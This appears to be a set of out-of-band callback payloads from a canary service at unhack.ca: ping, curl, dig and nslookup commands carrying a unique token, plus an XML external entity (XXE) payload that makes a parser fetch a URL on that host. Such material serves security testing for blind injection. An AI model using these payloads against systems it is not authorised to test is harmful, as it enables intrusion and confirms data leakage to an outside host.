$ ping -c1 -p 0010ffa60b67742cbc00ddd4b028e900 unhack.ca
 

$ curl http://unhack.ca/p/10ffa60b67742cbc00ddd4b028e9
 

$ dig 10ffa60b67742cbc00ddd4b028e9 @unhack.ca
 

$ dig 10ffa60b67742cbc00ddd4b028e9.ns.unhack.ca
 

C:\> nslookup 10ffa60b67742cbc00ddd4b028e9 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/10ffa60b67742cbc00ddd4b028e9">]>
    <foo>&xxe;</foo>